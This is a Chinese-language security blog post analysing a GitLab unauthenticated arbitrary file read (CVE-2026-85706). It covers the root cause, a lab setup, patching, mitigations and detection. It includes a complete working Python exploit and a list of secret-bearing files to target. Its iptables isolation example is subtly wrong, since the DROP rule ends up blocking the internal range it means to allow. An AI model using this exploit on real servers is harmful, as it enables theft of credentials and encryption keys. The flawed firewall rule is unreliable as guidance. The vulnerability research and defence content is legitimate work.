CVE-2026-85706:GitLab 未授权任意本地文件读取漏洞分析
MY0723
MY0723
不秃头的安全
2026年10月7日 08:19
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVE-2026-85706:GitLab 未授权任意本地文件读取漏洞分析
一、漏洞信息
| 属性 | 信息 |
|---|---|
| 漏洞类型 | 路径限制不当 +缺失认证校验(CWE-22) |
| CVE 编号 | CVE-2026-85706 |
| CVSS 评分 | 10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| 发现者 | s3ntago(HackerOne 漏洞赏金计划) |
| 补丁发布 | 2026-09-10(19.3.2 / 19.2.6 / 19.1.8) |
| 回溯补丁 | 2026-09-23(19.0.9 / 18.11.12) |
| 在野状态 | 已收录 CISA KEV 目录;GitLab 官方发布 3 条 threat detection |
| 利用前提 | 远程、未认证、无需公开项目、无需用户交互 |
受影响版本与修复版本:
| 分支 | 受影响区间 | 修复版本 |
|---|---|---|
| 18.x(18.7 起) | 18.7 ~ 18.11.11 | 18.11.12 |
| 19.0 | 19.0.0 ~ 19.0.8 | 19.0.9 |
| 19.1 | 19.1.0 ~ 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 ~ 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 ~ 19.3.1 | 19.3.2 |
官方漏洞描述:自建 GitLab CE/EE 因 repository commits API 中路径限制不当与认证强制缺失,未认证攻击者在特定条件下可读取 GitLab 服务器上的任意文件。
二、请求链路与缺陷位置
GitLab 的文件上传类 API 走双层组件:
外部请求 → Nginx(TLS 终止、分流)→ GitLab Workhorse(Go 反代,拦截上传流)→ GitLab Rails(Ruby,业务逻辑)→ 文件系统
Repository Files / Repository Commits API 的语义是\"客户端上传文件内容 + file.path + file.size,服务端写入仓库工作区\"。这类接口天然具备写任意路径的能力,因此安全性依赖 Workhorse 前置拦截。缺陷恰好破坏了这一前提。
2.1 缺陷一:两层组件对同一 URL 的规范化不一致
请求路径 /api/v4/projects/{id}/repository/files/x 中的 files 段被编码为 %66iles:
| 组件 | 处理方式 | 结果 |
|---|---|---|
| Workhorse | 字符串/路由匹配,不解码 | 视为 files 的变体,未命中上传路由 → 跳过 body-upload 处理,原样转发 |
| Rails | 路由匹配前做 URL 解码 | %66iles → files,命中 Repository Files API |
同一请求在两层组件中被解析为两条不同路径,构成 CWE-22。
2.2 缺陷二:认证发生在文件读取之后
正常授权顺序:
路由匹配 → 认证 → 授权 → 业务逻辑 → 文件读写
漏洞版本实际顺序:
路由匹配 → 处理上传元数据(读取本地文件) → 查找项目 → 认证 → 授权
文件读取被前置到认证之前,因此请求只要能路由到该代码段即可触发读取,与项目是否存在、是否公开、攻击者是否有权限均无关。
2.3 推论:项目 ID 仅为路由占位符
由于查找项目发生在文件读取之后,URL 中的 {id} 无需对应真实项目或公开项目。PoC每次运行生成随机九位 ID(如 473829104),仅用于匹配路由模板,不是项目枚举。
2.4 完整攻击链
① POST /api/v4/projects/{随机9位ID}/repository/%66iles/x
Body: file=&file.path=/目标绝对路径&file.size=1
↓
② Workhorse 路由匹配失败 → 未识别为上传路由 → 跳过上传处理
↓
③ Rails URL 解码 %66iles → files → 分派至 Repository Files API
↓
④ 上传元数据被处理(认证前)→ 读取 file.path 指定本地文件
文件内容交由 Rack::Utils.parse_nested_query 解析
↓
⑤ 文件中含畸形百分号转义(如 %Y)→ 抛 InvalidParameterError
异常message 反射出错的 token(即文件字节切片)
↓
⑥ HTTP 400 响应体中携带目标文件内容
三、内容回显机制
文件内容经 Rack::Utils.parse_nested_query 解析,遇到非十六进制的百分号转义(如 %Y)时抛出 InvalidParameterError,异常消息包含解析失败的原始 token;该异常被序列化进 HTTP 400 JSON 响应。由此形成磁盘到响应的数据通道:
磁盘字节 → Rack 解析器 token → 异常 message → JSON 响应 → 攻击者
读取是无条件的,回显是有条件的:
| 响应 | 含义 |
|---|---|
HTTP 400 + invalid %-encoding (...) |
文件读取成功,内容泄露 |
HTTP 401 或 branch is required |
文件已在认证前读取,但字节解析正常,未回显 |
HTTP 400 + local file not present |
文件不存在(存在性预言机) |
| HTTP 500 | 路径不可读(权限不足)或为目录(可读性预言机) |
泄露片段边界:起点为一个 & / ; / = 分隔符,终点为第一个畸形的 % 转义序列。
/etc/passwd 这类内容可正常解析的文件,仍会被打开读取,但字节不出现在响应中,响应退化为存在性预言机。
vulhub 选择 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml 作为默认目标,因其由 Omnibus 安装过程自然生成,未经人为构造;配置中的 date_format 指令含 %Y、%m、%d,天然构成畸形转义。
3.1 Repository Commits API 变体
官方公告将漏洞定性为 repository commits API。对应利用路径:
POST /api/v4/projects/{id}/repository/commits/
在路由末尾追加尾部斜杠,据社区 PoC 说明可绕过 Workhorse 的 body-upload 重写,同时通过 Workhorse 的检查。社区实现(mhtsec/CVE-2026-85706)额外实现了四状态响应判定,用于区分项目有效性与文件存在/可读性。
排查时应同时覆盖 /repository/files/ 与 /repository/commits/ 两条路径,以及编码与未编码两种变体。
四、漏洞复现
4.1 环境搭建
Vulhub 靶场环境 gitlab/CVE-2026-85706,基于 GitLab CE 19.3.1。
docker-compose.yml:
services:
web:
image: vulhub/gitlab:19.3.1
hostname: gitlab.example.com
shm_size: \"256m\"
ports:
- \"8080:80\"
- \"10022:22\"
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://gitlab.example.com'
gitlab_rails['gitlab_shell_ssh_port'] = 10022
gitlab_rails['initial_root_password'] = 'vulhub123456'
letsencrypt['enable'] = false
启动:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2026-85706
docker compose up -d
容器首次启动需数分钟完成初始化。复现不需要账号,也不需要预先创建项目。
4.2 使用 PoC
# 默认读取 gitlab.yml
python3 poc.py http://your-ip:8080
# 输出到文件(stdout 仅含泄露字节,进度信息走 stderr)
python3 poc.py http://your-ip:8080 > gitlab.yml
# 指定任意本地路径
python3 poc.py http://your-ip:8080 -f /opt/gitlab/embedded/service/gitlab-rails/config/routes.rb
4.4 PoC 脚本
无第三方依赖,Python 3 标准库:
#!/usr/bin/env python3
\"\"\"
CVE-2026-85706 - GitLab Unauthenticated Arbitrary Local File Read
An encoded character in the Repository Files API route
(``/repository/%66iles/x``) prevents GitLab Workhorse from recognizing the
request as an upload, while GitLab Rails decodes the path and dispatches it to
the Files API. The body-upload helper reads whatever local path the attacker
puts in the ``file.path`` parameter before looking up the project or
authenticating the request. The project id in the URL therefore does not need
to identify a real project.
The file is then handed to ``Rack::Utils.parse_nested_query``. If the bytes
contain what looks like a malformed percent-escape (e.g. ``%Y``), Rack raises an
``InvalidParameterError`` whose message reflects the offending token back to the
attacker. That reflected token is a slice of the target file, which is how file
content leaks out in the HTTP 400 response.
Because the leak is a reflected parse error, how much of a file is disclosed
depends on the file's own bytes: the leaked slice runs from a ``&``/``;``/``=``
delimiter up to the first malformed ``%`` sequence. Files that parse cleanly are
still opened and read before authorization, but their content is not echoed
back. The Files API then continues to later request validation. ``gitlab.yml``
is a reliable demo target because the stock Omnibus image generates it with
date-format directives such as ``%Y`` that trip the parser.
Usage:
python3 poc.py http://your-ip:8080
python3 poc.py http://your-ip:8080 -f /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
python3 poc.py http://your-ip:8080 -f /path/to/file > loot.txt
\"\"\"
import argparse
import json
import secrets
import sys
import urllib.error
import urllib.parse
import urllib.request
DEFAULT_FILE = \"/var/opt/gitlab/gitlab-rails/etc/gitlab.yml\"
# Marker that precedes the reflected file slice in the Rack error message.
LEAK_MARKER = \"invalid %-encoding (\"
def log(message):
\"\"\"Write progress to stderr so stdout stays clean for the leaked bytes.\"\"\"
print(message, file=sys.stderr)
def request(url, data=None):
headers = {}
if data is not None:
headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"
req = urllib.request.Request(url, data=data, headers=headers)
try:
with urllib.request.urlopen(req, timeout=20) as response:
return response.status, response.read().decode(\"utf-8\", errors=\"replace\")
except urllib.error.HTTPError as exc:
return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")
except urllib.error.URLError as exc:
log(f\"[-] Cannot reach {url}: {exc.reason}\")
raise SystemExit(1)
def read_file(base_url, project_id, remote_path):
\"\"\"Ask GitLab Rails to read remote_path and return (status, message, leaked).\"\"\"
form = urllib.parse.urlencode(
{
\"file\": \"\",
\"file.path\": remote_path,
\"file.size\": \"1\",
\"Content-Type\": \"application/x-www-form-urlencoded\",
}
).encode()
# Workhorse sees the encoded segment and misses its upload route, whereas
# Rails decodes \"%66iles\" and dispatches to the Repository Files API. The
# upload metadata is consumed before this placeholder project is resolved.
target = f\"{base_url}/api/v4/projects/{project_id}/repository/%66iles/x\"
status, body = request(target, form)
message = body
try:
response = json.loads(body)
if isinstance(response, dict) and isinstance(response.get(\"message\"), str):
message = response[\"message\"]
except json.JSONDecodeError:
pass
leaked = None
marker = message.find(LEAK_MARKER)
if marker != -1:
start = marker + len(LEAK_MARKER)
end = message.rfind(\")\")
leaked = message[start:end] if end > start else message[start:]
return status, message, leaked
def main():
parser = argparse.ArgumentParser(
description=\"CVE-2026-85706 unauthenticated arbitrary file read for GitLab.\",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
\"The disclosed content is a reflected Rack parse error, so a file is\
\"
\"only echoed back when its bytes contain a malformed %-escape sequence.\"
),
)
parser.add_argument(
\"target\",
help=\"Base URL of the GitLab instance, e.g. http://127.0.0.1:8080\",
)
parser.add_argument(
\"-f\",
\"--file\",
default=DEFAULT_FILE,
help=f\"Remote file path to read (default: {DEFAULT_FILE})\",
)
args = parser.parse_args()
base_url = args.target.rstrip(\"/\")
project_id = secrets.randbelow(900_000_000) + 100_000_000
log(f\"[*] Using random project-id placeholder: {project_id}\")
log(f\"[*] Reading remote file: {args.file}\")
status, message, leaked = read_file(base_url, project_id, args.file)
if leaked is not None:
log(f\"[+] File disclosed via reflected parse error (HTTP {status}). Content on stdout:\")
# Only the recovered file bytes go to stdout so output can be piped/saved.
sys.stdout.write(leaked)
if not leaked.endswith(\"\
\"):
sys.stdout.write(\"\
\")
return 0
if status == 401 or \"branch is required\" in message:
log(\"[-] The file was read before authorization but parsed cleanly, so no bytes were reflected.\")
log(\" Try a file containing malformed %-escapes (e.g. the default gitlab.yml).\")
return 3
if \"local file not present\" in message:
log(f\"[-] The file does not exist on the server: {args.file}\")
return 2
if status == 500:
log(f\"[-] HTTP 500: the path is likely unreadable (permission denied) or is a directory: {args.file}\")
return 4
log(f\"[-] Unexpected response (HTTP {status}): {message}\")
return 5
if __name__ == \"__main__\":
raise SystemExit(main())
退出码约定(便于批量探测时判定结果):
| 退出码 | 含义 |
|---|---|
| 0 | 文件内容泄露成功 |
| 2 | 文件不存在 |
| 3 | 文件已读取但内容未回显 |
| 4 | 路径不可读或为目录 |
| 5 | 非预期响应 |
五、影响面
漏洞代码读取 GitLab 服务进程(通常为 git 用户)可访问的任意路径
| 目标文件 | 后果 |
|---|---|
/etc/gitlab/gitlab-secrets.json |
数据库加密密钥,可解密库中全部密文字段 |
/etc/gitlab/initial_root_password |
初始 root 密码(若未修改) |
/var/opt/gitlab/gitlab-rails/etc/database.yml |
数据库连接凭据 |
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml |
完整应用配置(PoC 默认演示目标) |
/opt/gitlab/embedded/service/gitlab-rails/config/routes.rb |
全部内部路由 |
/etc/passwd |
用户枚举 |
项目内 .env、CI/CD 变量文件 |
构建与部署凭据 |
受回显机制限制,需挑选含%格式串的文件(配置类文件普遍含日期格式、模板占位符)才能取到字节。即便如此,大量配置类文件已被覆盖,横向利用空间足够。
GitLab.com 与 GitLab Dedicated 始终运行修复版本,受影响对象为自建实例。
六、修复
6.1 官方修复
# Omnibus 部署
sudo apt-get update
sudo apt-get install gitlab-ce=19.3.2-ce.0
sudo gitlab-ctl reconfigure
sudo gitlab-ctl restart
# Docker 部署
docker pull gitlab/gitlab-ce:19.3.2-ce.0
docker compose down && docker compose up -d
验证修复是否生效——修复后应返回 401,且错误信息中不再包含文件内容:
curl -s -o /dev/null -w \"%{http_code}\" \\
-X POST \"http://target/api/v4/projects/123456789/repository/%66iles/x\" \\
-H \"Content-Type: application/x-www-form-urlencoded\" \\
--data \"file=&file.path=/etc/passwd&file.size=1\"
GitLab.com 与 GitLab Dedicated 无需操作。
6.2 补丁前的临时缓解
拦截百分号编码路径段
server {
location / {
if ($uri ~* \"%[0-9a-fA-F]{2}\") {
return 403;
}
proxy_pass http://gitlab_upstream;
}
}
Nginx
if指令属于公认易出错区域,上生产前需在预发环境验证。
拦截畸形百分号转义
利用链最后一环(反射型解析错误)必须存在畸形 % 转义,可据此收敛:
if ($request_body ~* \"%[^0-9A-Fa-f%]\") {
return 403;
}
正常业务请求也可能包含类似模式,需评估误报。
网络层隔离
# 仅允许内网访问 GitLab HTTP 服务
iptables -I INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j ACCEPT
iptables -I INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j DROP
6.3 利用痕迹排查
# 访问日志中的编码路径特征
sudo grep -E \"repository/%[0-9A-Fa-f]{2}\" /var/log/gitlab/nginx/gitlab_access.log | tail -100
# Rails 日志中的上传元数据
sudo grep -E \"repository/(files|commits)/\" /var/log/gitlab/gitlab-rails/production.log \\
| grep -i \"file.path\" | tail -100
# 敏感文件的访问时间
sudo stat /etc/gitlab/gitlab-secrets.json
sudo find /etc/gitlab /var/opt/gitlab -name \"*.yml\" -newermt \"-30 days\" -ls
# 新增的 Token / CI 任务 / SSH Key / Webhook
sudo gitlab-rails runner \"puts PersonalAccessToken.where(created_at > 30.days.ago).pluck(:name, :user_id)\"
sudo gitlab-rails runner \"puts Ci::Build.where(created_at > 30.days.ago).pluck(:id, :project_id, :user_id)\"
sudo gitlab-rails runner \"puts SSHKey.where(created_at > 30.days.ago).pluck(:id, :user_id, :fingerprint)\"
sudo gitlab-rails runner \"puts WebHook.where(created_at > 30.days.ago).pluck(:id, :project_id, :url)\"
凭据轮换(确认利用后视为已泄露):
| 凭据 | 处理 |
|---|---|
gitlab-secrets.json 的 secret_key_base |
重置后需重新加密数据库全部字段,按 GitLab 官方 Runbook 操作 |
| 数据库密码 | 修改后同步更新 database.yml 并重启 |
| CI/CD Variables | 全部重新生成并替换 |
| Initial Root Password | 立即修改 |
| Access Token | 吊销并重新签发 |
| SSH / Deploy Keys | 移除可疑公钥 |
参考资料
- ▸
Vulhub 靶场:https://github.com/vulhub/vulhub/tree/master/gitlab/CVE-2026-85706
* ▸
GitLab 补丁公告:https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/
* ▸
深度分析:https://medium.com/@guidancewhite/cve-2026-85706-deep-dive-gitlab-repository-commits-api-auth-bypass-leads-to-unauthenticated-f2e591786e74
* ▸
Mallory 条目:https://mallory.ai/vulnerabilities/CVE-2026-85706
* ▸
社区 PoC(mhtsec):https://github.com/mhtsec/CVE-2026-85706
* ▸
社区 Docker 靶场(FlowerWitch):https://github.com/FlowerWitch/CVE-2026-85706\_docker\_exp
* ▸
CISA KEV 目录:https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- 📄往期推荐:
- HAPPY-JS v1.6 更新说明:被动抓资产,主动做测试
- JeecgBoot 积木报表 autoexport RCE漏洞(XVE-2026-53510)深度分析
- 1Panel-dev KubePi SSO 管理接口未授权漏洞 (CVE-2026-65956)
-
关于我们:
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。
-
1. 需要考以下各类安全证书的可以联系
①Cn\*d,NCC,NVDB🀄️高漏洞证书
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书
【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723
https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#
想加群下方二维码,群过期或群满加下方vx拉:
+
## 2. 需要入星球的可以私聊优惠
1、src、cnxd、cnnxd、POC专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、全网搜集POC在线文档,详情poc及证明截图(3000+以上文章)
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠
## 3、其他合作(合法合规)
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);
2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;
3、接受脱敏投稿,送一年知识星球及礼包。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论